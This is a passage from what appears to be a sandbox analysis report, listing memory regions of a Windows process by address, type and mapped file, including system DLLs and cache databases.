0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5766 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5767 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5768 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5769 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5770 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5771 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5772 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5773 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5774 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5775 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5776 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 5777 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5778 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5779 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5780 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5781 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 5782 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5783 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5784 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5785 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5786 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5787 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5788 start_va = 0x1b370000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5789 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5790 start_va = 0x1b3b0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3b0000" filename = "" Region: id = 5791 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5792 start_va = 0x1b4b0000 end_va = 0x1b5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 5793 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5794 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5795 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 5796 start_va = 0x1b5b0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 5797 start_va = 0x1b5b0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 5798 start_va = 0x1b7c0000 end_va = 0x1b8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b7c0000" filename = "" Region: id = 5799 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5800 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5801 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 5802 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 5803 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 5804 start_va = 0x1b8f0000 end_va = 0x1b8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8f0000" filename = "" Region: id = 5805 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 5806 start_va = 0x1b910000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b910000" filename = "" Region: id = 5807 start_va = 0x1b920000 end_va = 0x1b92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b920000" filename = "" Region: id = 5808 start_va = 0x1b930000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b930000" filename = "" Region: id = 5809 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 5810 start_va = 0x1ba40000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 5811 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 5812 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 5813 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 5814 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5815 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5816 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 5817 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 5818 start_va = 0x1b4c0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 5819 start_va = 0x1b4d0000 end_va = 0x1b4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4d0000" filename = "" Region: id = 5820 start_va = 0x1b4e0000 end_va = 0x1b4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4e0000" filename = "" Region: id = 5821 start_va = 0x1b4f0000 end_va = 0x1b4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4f0000" filename = "" Region: id = 5822 start_va = 0x1b500000 end_va = 0x1b51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b500000" filename = "" Region: id = 5823 start_va = 0x1b520000 end_va = 0x1b52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b520000" filename = "" Region: id = 5824 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 5825 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 5826 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 5827 start_va = 0x1b560000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b560000" filename = "" Region: id = 5828 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 5829 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 5830 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 5831 start_va = 0x1ba60000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 5832 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5833 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5834 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 5835 start_va = 0x1b3b0000 end_va = 0x1b3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3b0000" filename = "" Region: id = 5836 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 5837 start_va = 0x1b3b0000 end_va = 0x1b3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3b0000" filename = "" Region: id = 5838 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 5839 start_va = 0x1b3d0000 end_va = 0x1b3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3d0000" filename = "" Region: id = 5840 start_va = 0x1b3e0000 end_va = 0x1b3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 5841 start_va = 0x1b3e0000 end_va = 0x1b3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 5842 start_va = 0x1b3f0000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 5843 start_va = 0x1b400000 end_va = 0x1b40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b400000" filename = "" Region: id = 5844 start_va = 0x1b410000 end_va = 0x1b41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 5845 start_va = 0x1b420000 end_va = 0x1b42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b420000" filename = "" Region: id = 5846 start_va = 0x1b430000 end_va = 0x1b43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b430000" filename = "" Region: id = 5847 start_va = 0x1b3e0000 end_va = 0x1b3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 5848 start_va = 0x1b3f0000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 5849 start_va = 0x1b400000 end_va = 0x1b40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b400000" filename = "" Region: id = 5850 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5851 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5852 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5853 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5854 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 5855 start_va = 0x1b3b0000 end_va = 0x1b3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3b0000" filename = "" Region: id = 5856 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 5857 start_va = 0x1b3d0000 end_va = 0x1b3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3d0000" filename = "" Region: id = 5858 start_va = 0x1b3e0000 end_va = 0x1b3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 5859 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5860 start_va = 0x1bb60000 end_va = 0x1c051fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb60000" filename = "" Region: id = 5861 start_va = 0x1c060000 end_va = 0x1d09ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 5862 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5863 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 5864 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5865 start_va = 0x7ffb1dc80000 end_va = 0x7ffb1ddd9fff monitored = 0 entry_point = 0x7ffb1dcc38e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5866 start_va = 0x1b340000 end_va = 0x1b340fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b340000" filename = "" Region: id = 5867 start_va = 0x1b3b0000 end_va = 0x1b46bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b3b0000" filename = "" Region: id = 5868 start_va = 0x1b340000 end_va = 0x1b343fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b340000" filename = "" Region: id = 5869 start_va = 0x7ffb1a760000 end_va = 0x7ffb1a781fff monitored = 0 entry_point = 0x7ffb1a761a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 5870 start_va = 0x1b350000 end_va = 0x1b356fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 5871 start_va = 0x1b360000 end_va = 0x1b360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b360000" filename = "" Region: id = 5872 start_va = 0x1b470000 end_va = 0x1b470fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b470000" filename = "" Region: id = 5873 start_va = 0x1b470000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b470000" filename = "" Region: id = 5874 start_va = 0x1b570000 end_va = 0x1b5a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b570000" filename = "" Region: id = 5875 start_va = 0x1b5b0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 5876 start_va = 0x1b5b0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 5877 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 5878 start_va = 0x1b5b0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 5879 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 5880 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 5881 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 5882 start_va = 0x1b8f0000 end_va = 0x1b8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8f0000" filename = "" Region: id = 5883 start_va = 0x1b5b0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 5884 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 5885 start_va = 0x1b5b0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 5886 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 5887 start_va = 0x1b5b0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 5888 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 5889 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 5890 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 5891 start_va = 0x1b8f0000 end_va = 0x1b8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8f0000" filename = "" Region: id = 5892 start_va = 0x1b900000 end_va = 0x1b90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b900000" filename = "" Region: id = 5893 start_va = 0x1b5b0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 5894 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5895 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5896 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5897 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 5898 start_va = 0x1b3a0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 5899 start_va = 0x1b5b0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 5900 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 5901 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5902 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5903 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5904 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 5905 start_va = 0x1b3a0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 5906 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5907 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5908 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 5909 start_va = 0x1b3a0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 5910 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5911 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5912 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5913 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5914 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5915 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5916 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 5917 start_va = 0x1b3a0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 5925 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5926 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5927 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5928 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 5929 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5930 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5931 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5932 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 5933 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 5934 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 5935 start_va = 0x1d0a0000 end_va = 0x1d19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d0a0000" filename = "" Region: id = 5936 start_va = 0x1d1a0000 end_va = 0x1d29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d1a0000" filename = "" Region: id = 5937 start_va = 0x7ffb1ac70000 end_va = 0x7ffb1adf5fff monitored = 0 entry_point = 0x7ffb1acbd700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 5938 start_va = 0x1b370000 end_va = 0x1b373fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 5939 start_va = 0x1b570000 end_va = 0x1b5b4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000010.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db") Region: id = 5940 start_va = 0x1b380000 end_va = 0x1b383fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 5941 start_va = 0x1b7c0000 end_va = 0x1b84dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 5942 start_va = 0x1b390000 end_va = 0x1b3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 5943 start_va = 0x1b850000 end_va = 0x1b853fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 5944 start_va = 0x1b860000 end_va = 0x1b874fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db") Region: id = 5945 start_va = 0x1b880000 end_va = 0x1b880fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b880000" filename = "" Region: id = 5946 start_va = 0x1d2a0000 end_va = 0x1d39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d2a0000" filename = "" Region: id = 5947 start_va = 0x1d3a0000 end_va = 0x1d49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d3a0000" filename = "" Region: id = 5948 start_va = 0x1b0c0000 end_va = 0x1b0c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b0c0000" filename = "" Region: id = 5949 start_va = 0x7ffb11e90000 end_va = 0x7ffb12103fff monitored = 0 entry_point = 0x7ffb11f00400 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll") Region: id = 5950 start_va = 0x1b0d0000 end_va = 0x1b0d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = 